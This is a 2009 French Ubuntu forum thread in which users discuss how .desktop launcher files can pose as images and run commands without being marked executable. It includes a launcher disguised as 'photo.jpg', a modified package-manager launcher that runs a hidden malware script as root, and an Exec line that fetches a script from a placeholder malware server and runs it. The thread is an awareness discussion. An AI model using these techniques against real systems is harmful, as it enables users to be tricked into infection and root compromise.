Les fichiers *.desktop, dangereux ?

Adhémar · Le 12/02/2009, à 17:54

Vous savez sans doute tous qu'une des sécurités de linux, c'est entre le fait que les fichiers téléchargés ne sont pas exécutables par défaut. Tous ? Ben, pas vraiment, il y a certains moyens de contourner ça. Par exemple, les archives peuvent par exemple préserver le status d'exécutable. Bon, évidement, de là à faire un virus, y'a un pas. Il faudrait télécharger l'archive puis exécuter son contenu. Si il y a une faille ici, c'est dans l'interface chaise-clavier.

Mais on peut faire mieux, comme le révèle ce blog: http://www.geekzone.co.nz/foobar/6229. En gros, pour résumer la technique, en français: on crée un fichier photo.desktop sans extension, et dans le fichier, on met:

[Desktop Entry]
Name=photo.jpg
Exec=bash -c 'touch succes' 
Icon=/usr/share/icons/default.kde4/128x128/mimetypes/image-jpeg.png
Terminal=true

Si vous téléchargez le fichier, il apparaitra dans votre gestionnaire de paquet avec une icône de photo. Si vous cliquez dessus, il va dans ce cas-ci créer un fichier qui s'appelle succes. Ceci dit, on peut changer la commande 'touch success' par des trucs beaucoup moins marrants. Par exemple, on peut aller télécharger un script extérieur via wget qui va chercher les adresses du carnet de mail, et renvoyer le malware à tout le carnet d'adresse (pas besoin de droits root pour ça), ou supprimer le répertoire utilisateur, etc...

Mais on peut faire mieux. En gros, on peut prendre un script qui va changer le fichier desktop du gestionnaire de paquet (pas besoins de droits root pour ça).

[Desktop Entry]
Name=Adept Package Manager
Exec=kdesudo synaptic
Icon=adept
Terminal=false

En

[Desktop Entry]
Name=Adept Package Manager
Exec=kdesudo adept & .hidden/malware.sh
Icon=adept
Terminal=false

Et là, vous venez de lancer le programme malware.sh en root, l'auteur du programme fait ce qu'il veut de votre ordi.

Vous en pensez quoi ? Ce n'est pas un virus à proprement parler, parce qu'il ne sait pas se reproduire tout seul, et repose sur une bonne dose d'ingénierie sociale, mais la facilité avec laquelle on peut tromper l'utilisateur me semble déconcertante. Cela montre qu'encore une fois, la sécurité, ce n'est pas un programme, c'est un état d'esprit .

A+

Adh'

Bigcake · Le 12/02/2009, à 18:02

Si je peux tu me permet, une petite modification dans ta dernière phrase s'impose

Adhémar a écrit :

Cela montre qu'encore une fois, la sécurité, ce n'est pas qu'un programme, c'est aussi un état d'esprit

Ce a quoi je ne peux qu'être en accord

Dernière modification par Bigcake (Le 12/02/2009, à 18:03)

Adhémar · Le 12/02/2009, à 18:07

Bigcake a écrit :

Si je peux tu me permet, une petite modification dans ta dernière phrase s'impose
Adhémar a écrit :
Cela montre qu'encore une fois, la sécurité, ce n'est pas qu'un programme, c'est aussi un état d'esprit
Ce a quoi je ne peux qu'être en accord

Tout à fait d'accord...

giliam · Le 12/02/2009, à 21:19

C'est quoi sinon ces fichiers ".desktop"?

Link31 · Le 12/02/2009, à 22:55

Il ne faut jamais lancer de programme graphique en root, et toujours passer par le terminal pour les tâches d'administration.

Grâce aux logiciels et distributions qui se veulent "grand public", et en particulier Ubuntu, on est en train de perdre les bonnes habitudes qui ont fait la réputation des systèmes UNIX et on s'avance petit à petit vers un nouveau windows...

Dernière modification par Link31 (Le 12/02/2009, à 22:55)

billou · Le 12/02/2009, à 23:13

Et blablabla, je n'ai rien contre la ligne de commande, j'en consomme même avec gourmandise, mais le pauvre néophyte qui se fiche totalement du fonctionnement de son ordi et s'en sert juste pour la base (messagerie instantanée, taper ses CV, surfer sur internet, lire sa musique et des vidéos) n'as pas à devoir savoir s'en servir.

Le terminal, c'est de l'anti-ergonomique par excellence pour Mr tout le monde, et c'est pas parce que pour nous il s'agit d'un outil merveilleux, qu'il doit en être de même pour les autres, et que ce sont de pauvres boulets/moutons inintelligibles qui ne veulent rien apprendre.

Le choix, la liberté, c'est ce qui fait notre force. UBUNTU. (Je suis ce que je suis, par ce que nous sommes TOUS)

Ps : J'ai déjà lancé une session graphique en Root, et même des programmes, et je n'ai jamais eu de soucis, je savais ce que je faisait et pourquoi je le faisait c'est tout.

Dernière modification par billou (Le 12/02/2009, à 23:16)

bloublou · Le 12/02/2009, à 23:32

giliam a écrit :

C'est quoi sinon ces fichiers ".desktop"?

Les lanceurs sur le bureau ou dans la barre gnome,par exemple.

Yannick_LM · Le 12/02/2009, à 23:34

Grâce aux logiciels et distributions qui se veulent "grand public", et en particulier Ubuntu, on est en train de perdre les bonnes habitudes qui ont fait la réputation des systèmes UNIX et on s'avance petit à petit vers un nouveau windows...

Meuh non. Tant que l'OS reste libre, y a aucun risque qu'il y ait les mêmes problèmes de sécu que sous windows.

Tout simplement parce que tout le monde a intérêt à ce qu'il y ait des soucis sous Windows : l'entreprise Microsoft elle-même, et bien sûr toutes les boîtes en conseil/audit/sécurité/antivirus.

Sous ubuntu, ça restera l'inverse pendant encore un bout de temps.

Et en ce qui concerne les problèmes de sécurité posés par les applications graphiques, j'aimerai souligner qu'ils sont au contraire de mieux en mieux pris en compte : il est maintenant possible de n'accorder les droits root que pour quelques actions précises, sans avoir besoin de lancer l'application en root.

(Pensez au nouveau gestionnaire « utilisateurs et groupes », par exemple)

mahikeulbody · Le 13/02/2009, à 10:30

Link31 a écrit :

Il ne faut jamais lancer de programme graphique en root, et toujours passer par le terminal pour les tâches d'administration.
Grâce aux logiciels et distributions qui se veulent "grand public", et en particulier Ubuntu, on est en train de perdre les bonnes habitudes qui ont fait la réputation des systèmes UNIX et on s'avance petit à petit vers un nouveau windows...

Je ne suis pas expert (je débute sous Linux) mais quel rapport avec la choucroute ? Dans les premiers exemples donnés dans le post initial, je n'ai pas vu qu'il était question de programme graphique lancé en root et pourtant il semble bien y avoir un risque (j'attache plus d'importance à mes données perso qu'à mon Intrepid).

Dernière modification par mahikeulbody (Le 13/02/2009, à 10:34)

Link31 · Le 13/02/2009, à 10:32

mahikeulbody a écrit :

Je ne suis pas expert (je débute sous Linux) mais quel rapport avec la choucroute ? Dans les exemples donnés dans le post initial, je n'ai pas vu qu'il était question de programme graphique lancé en root.

On parle d'un .desktop (raccourci) vers Adept qui contient la commande "kdesudo adept", et qui pourrait aussi bien contenir la commande "kdesudo adept & ./virus.sh" sans que l'utilisateur, qui lance Adept graphiquement, s'en aperçoive.

mahikeulbody · Le 13/02/2009, à 10:35

Link31 a écrit :

mahikeulbody a écrit :
Je ne suis pas expert (je débute sous Linux) mais quel rapport avec la choucroute ? Dans les exemples donnés dans le post initial, je n'ai pas vu qu'il était question de programme graphique lancé en root.
On parle d'un .desktop (raccourci) vers Adept qui contient la commande "kdesudo adept", et qui pourrait aussi bien contenir la commande "kdesudo adept & ./virus.sh" sans que l'utilisateur, qui lance Adept graphiquement, s'en aperçoive.

Oui, j'ai vu ça après avoir posté et j'ai donc modifié mon post (qui s'est croisé avec le tien) mais ma remarque reste.

Dernière modification par mahikeulbody (Le 13/02/2009, à 10:36)

Adhémar · Le 13/02/2009, à 11:07

Link31 a écrit :

On parle d'un .desktop (raccourci) vers Adept qui contient la commande "kdesudo adept", et qui pourrait aussi bien contenir la commande "kdesudo adept & ./virus.sh" sans que l'utilisateur, qui lance Adept graphiquement, s'en aperçoive.

Il y aurait une solution plus simple. Donner aux fichiers .desktop le même status qu'un fichier exécutable. Si il n'est pas taggué comme exécutable, il ne s'exécutera pas. Quand tu installes un programme ou que tu crées un raccourci vers une application, le programme s'occupe de faire le chmod +x, et quand tu télécharges un fichier, celui ci n'est naturellement pas exécutable. Le seul problème qui resterait, c'est des fichiers desktop dans des archives qui serait naturellement exécutables. Mais là, une simple modification du gestionnaire d'archive pourrait prévenir que l'archive contient des exécutables (un peu comme firefox, avt de télécharger un nouveau *.xpi).

Je ne suis pas expert (je débute sous Linux) mais quel rapport avec la choucroute ? Dans les premiers exemples donnés dans le post initial, je n'ai pas vu qu'il était question de programme graphique lancé en root et pourtant il semble bien y avoir un risque (j'attache plus d'importance à mes données perso qu'à mon Intrepid).

Le but de mon post n'était pas d'inquiéter, mais juste de montrer que la création d'un malware sous linux pouvait être beaucoup plus simple que ce qu'on dit parfois. Comme dit dans le second message, la sécurité, c'est à la fois l'affaire de l'OS et de l'utilisateur. Bref, ce n'est pas parce qu'on est sous linux qui est un OS particulièrement sûr qu'il faille négliger toutes des pratiques de sécurités de base.

Ce qu'il faut se rendre compte c'est que, par exemple, quand tu copie/colle une commande que quelqu'un te donne sur un forum, tu fais implicitement confiance en cette personne. Quand tu vas chercher des debs sur un site quelconque, tu fais implicitement confiance au packager. De même, quand tu télécharges des pièces jointes d'un mail, tu fais confiance à celui qui t'envoie le mail, et au contenu des pièces jointes. Je ne pense pas qu'il soit nécessaire de revenir à la ligne de commande, mais simplement de réfléchir à deux fois avant de cliquer comme un possédé sur n'importe quelle pièce jointe.

A+

Adhémar

mahikeulbody · Le 13/02/2009, à 11:29

En ce qui me concerne je réagissais juste à ce post:

Il ne faut jamais lancer de programme graphique en root, et toujours passer par le terminal pour les tâches d'administration.

Grâce aux logiciels et distributions qui se veulent "grand public", et en particulier Ubuntu, on est en train de perdre les bonnes habitudes qui ont fait la réputation des systèmes UNIX et on s'avance petit à petit vers un nouveau windows...

Le problème que tu décris dans tes exemples (hormis celui avec le sudo) n'impliquant pas d'être root pour qu'il puisse y avoir un risque, j'ai trouvé la "tirade" sur les distributions "grand public" un peu déplacée dans ce contexte.

Ras' · Le 13/02/2009, à 21:02

Adhémar a écrit :

Mais on peut faire mieux. En gros, on peut prendre un script qui va changer le fichier desktop du gestionnaire de paquet (pas besoins de droits root pour ça).

Ton script a besoin des droits d'exécution pour fonctionner
Et dans ce cas faut que l'utilisateur lui donne à un moment ou à un autre... Ou qu'il aille chercher un script de derrière les fagots, non officiel, etcetc... et là ben c'est un peu la faute de l'user d'avoir installé un truc sans chercher à savoir ce que ça faisait réellement.

C'est vrai qu'on fait l'apologie des scripts, des nautilus-scripts en l'occurence, mais faut se rappeler que ça peut donner de mauvaises habitudes... vu que ça m'étonnerais que tout le monde lise ses scripts et les comprennent avant de les exécuter...

Adhémar · Le 13/02/2009, à 22:09

Ras' a écrit :

Ton script a besoin des droits d'exécution pour fonctionner

Non, justement, c'est là la faille. Les fichiers desktop n'ont pas besoin d'être marqués comme exécutables pour s'exécuter, et tu peux lancer n'importe quoi dedans. J'ai fait un fichier desktop avec

[Desktop Entry]
Name=photo.jpg
Exec=bash -c 'touch succes' 
Icon=/usr/share/icons/default.kde4/128x128/mimetypes/image-jpeg.png
Terminal=true

Mais j'aurais très bien pu mettre

[Desktop Entry]
Name=photo.jpg
Exec=bash -c 'wget http://www.some_malware_server.org/malware.sh; chmod +x malware.sh; ./malware.sh' 
Icon=/usr/share/icons/default.kde4/128x128/mimetypes/image-jpeg.png
Terminal=true

Tu peux essayer de le faire toi même, en remplaçant la commande par un bête 'touch essai; chmod +x essai', et tu verras que ton fichier essai sera bien exécutable.

A+

Adhémar

Ras' · Le 13/02/2009, à 22:26

Tout fichier .desktop n'a pas besoin d'être chmodé +x pour s'exécuter ?
C'est louche tout de même...

Hum... j'essai mais je vois pas ou faut le créer pour qu'il apparaisse dans les aps ? En le créant nimporte ou (sur le bureau) et en essayant de double clicker dessus il me raconte que l'emplacement n'est pas un dossier :\
Connait pas bien le fonctionnement de ces machins moi :\

Adhémar · Le 13/02/2009, à 23:36

Regarde, c'est simple... Dans ton home, crée un fichier photo, et dedans, tu met:

[Desktop Entry]
Name=photo
Exec=bash -c 'touch succes;chmod +x succes' 
Icon=/usr/share/icons/default.kde4/128x128/mimetypes/image-jpeg.png
Terminal=true
Type=Application

Si tu es sous gnome, tu devras changer le Icon en autre chose. Sinon, tu supprimes la ligne, ce n'est pas important.

Là, tu peux vérifier que le fichier desktop n'a pas les droits d'éxécution. Et, vu que ton fichier n'a pas d'extension, ton OS va la deviner en lisant le fichier, en l'occurence, tu auras un fichier desktop, avec une icone d'image. Tu cliques dessus, et tu vas voir qu'il va créer un fichier succes, qui a des droits d'éxécution...

Sinon, les fichiers desktop peuvent être stockés dans .local/share/applications/

A+

Adhémar

Ras' · Le 14/02/2009, à 10:51

Ah
Ca marchais pas sur le bureau c'est pour ça ^^

Reste qu'il faut que quelque chose qui créé le malware... donc soit un autre script, soit un autre fichier desktop, ou télécharger directement ce fichier desktop... enfin, faut que l'user fasse quelque chose qui n'est pas dans les règles de la sécurité

Link31 · Le 14/02/2009, à 17:27

mahikeulbody a écrit :

Le problème que tu décris dans tes exemples (hormis celui avec le sudo) n'impliquant pas d'être root pour qu'il puisse y avoir un risque, j'ai trouvé la "tirade" sur les distributions "grand public" un peu déplacée dans ce contexte.

Quand un utilisateur se fie uniquement à un fichier synaptic.desktop pour lancer son gestionnaire de paquet, et ne sait pas que ce fichier contient en fait des commandes qui vont être exécutées en root (puisqu'il aura docilement donné son mot de passe dans la fenêtre graphique qui s'affiche), le tout combiné à la faille du sudo graphique mise en évidence récemment sous Ubuntu, ça fait déjà beaucoup de choses.

Au moins, quand on n'utilisait que le terminal pour effectuer des commandes d'administration, on était à l'abri d'un certain nombre de ces problèmes.

turbo-gus · Le 14/02/2009, à 19:06

Donc cela veut dire que si j'utilise un raccourci bureau ou le raccourci dans "systeme > administration > synaptic " pour lancer mon gestionnaire de paquet, il y a un risque pour la sécurité de mon système ??

Par rapport à ce probleme avec "sudo", y-a-t-il un moyen de le supprimer et de passer par un "su-" et "mot de passe" comme sur Debian par exemple ?

Link31 · Le 14/02/2009, à 19:34

Il y a potentiellement un risque, puisqu'un virus ("malware") qui n'a que les droits utilisateur peut obtenir très facilement les droits root, juste en rajoutant une ligne dans un fichier raccourci (les .desktop), que personne ne va jamais aller vérifier.

La faille du sudo graphique, c'est autre chose, mais ça fait déjà deux moyens que peuvent exploiter des virus pour obtenir les droits root sous Ubuntu. C'est pour ça que je dis qu'on se dirige vers un nouveau windows.

Oui, il y a moyen de ne plus passer par sudo, c'est expliqué quelque part dans la documentation. De là à réussir à supprimer complètement sudo sous Ubuntu, ou du moins à le configurer convenablement, j'ai bien peur que la distribution ne soit absolument pas prévue pour ça.

turbo-gus · Le 14/02/2009, à 20:57

Ok, merci pour la réponse !

Par contre, j'ai une autre question ( peut-être un peu bête ! ) :

Comment cela se fait qu'une photo que j'ai téléchargée d'internet, devienne executable, sans que je ne la modifie, après redémarrage de mon pc ? Pareil pour un fichier texte que j'ai transféré de mon pc portable ( sous fedora ) vers mon pc fixe ( ubuntu ) ? Le fichier sur fedora n'est pas executable mais après transfère, celui sur ubuntu l'est !?

Snake046 · Le 14/02/2009, à 21:07

Parce que les .desktop n'ont pas besoin d'être executables.
Or, sous GNU/Linux on a l'avantage de ne pas toujours avoir besoin d'extension.

En gros, j'ai mon toto.desktop qui lance un virus, je le renomme en toto, et il se lancera quand même comme un desktop.
Or, comme l'image était dans une archive, les fichiers à l'intérieur peuvent très bien être déjà executables.

Là où ça pêche, c'est que dans les archives les fichiers cachés, on les voit quand même. Il est donc très probable que l'utilisateur n'extraira que ce qu'il pense être une image.
Donc c'est quand même assez aléatoire comme méthode pour infecter les gens.

turbo-gus · Le 14/02/2009, à 21:10

Je ne comprend pas très bien, mon image n'était pas dans une archive et elle a bien pour extension : .jpeg, idem pour mon fichier texte qui est un .txt... Et c'est quand meme étrange les droit qui change quand on passe un fichier d'une distrib à une autre ...:/

Link31 · Le 14/02/2009, à 21:31

J'imagine que le fichier est passé par une partition fat32 ou ntfs (clé usb ?), où les droits UNIX n'existent pas et où tous les fichiers deviennent donc exécutables.

Ubuntu-fr

Navigation

Liens de recherche

Annonce

#1 Le 12/02/2009, à 17:54

Les fichiers *.desktop, dangereux ?

#2 Le 12/02/2009, à 18:02

Re : Les fichiers *.desktop, dangereux ?

#3 Le 12/02/2009, à 18:07

Re : Les fichiers *.desktop, dangereux ?

#4 Le 12/02/2009, à 21:19

Re : Les fichiers *.desktop, dangereux ?

#5 Le 12/02/2009, à 22:55

Re : Les fichiers *.desktop, dangereux ?

#6 Le 12/02/2009, à 23:13

Re : Les fichiers *.desktop, dangereux ?

#7 Le 12/02/2009, à 23:32

Re : Les fichiers *.desktop, dangereux ?

#8 Le 12/02/2009, à 23:34

Re : Les fichiers *.desktop, dangereux ?

#9 Le 13/02/2009, à 10:30

Re : Les fichiers *.desktop, dangereux ?

#10 Le 13/02/2009, à 10:32

Re : Les fichiers *.desktop, dangereux ?

#11 Le 13/02/2009, à 10:35

Re : Les fichiers *.desktop, dangereux ?

#12 Le 13/02/2009, à 11:07

Re : Les fichiers *.desktop, dangereux ?

#13 Le 13/02/2009, à 11:29

Re : Les fichiers *.desktop, dangereux ?

#14 Le 13/02/2009, à 21:02

Re : Les fichiers *.desktop, dangereux ?

#15 Le 13/02/2009, à 22:09

Re : Les fichiers *.desktop, dangereux ?

#16 Le 13/02/2009, à 22:26

Re : Les fichiers *.desktop, dangereux ?

#17 Le 13/02/2009, à 23:36

Re : Les fichiers *.desktop, dangereux ?

#18 Le 14/02/2009, à 10:51

Re : Les fichiers *.desktop, dangereux ?

#19 Le 14/02/2009, à 17:27

Re : Les fichiers *.desktop, dangereux ?

#20 Le 14/02/2009, à 19:06

Re : Les fichiers *.desktop, dangereux ?

#21 Le 14/02/2009, à 19:34

Re : Les fichiers *.desktop, dangereux ?

#22 Le 14/02/2009, à 20:57

Re : Les fichiers *.desktop, dangereux ?

#23 Le 14/02/2009, à 21:07

Re : Les fichiers *.desktop, dangereux ?

#24 Le 14/02/2009, à 21:10

Re : Les fichiers *.desktop, dangereux ?

#25 Le 14/02/2009, à 21:31

Re : Les fichiers *.desktop, dangereux ?

Pied de page des forums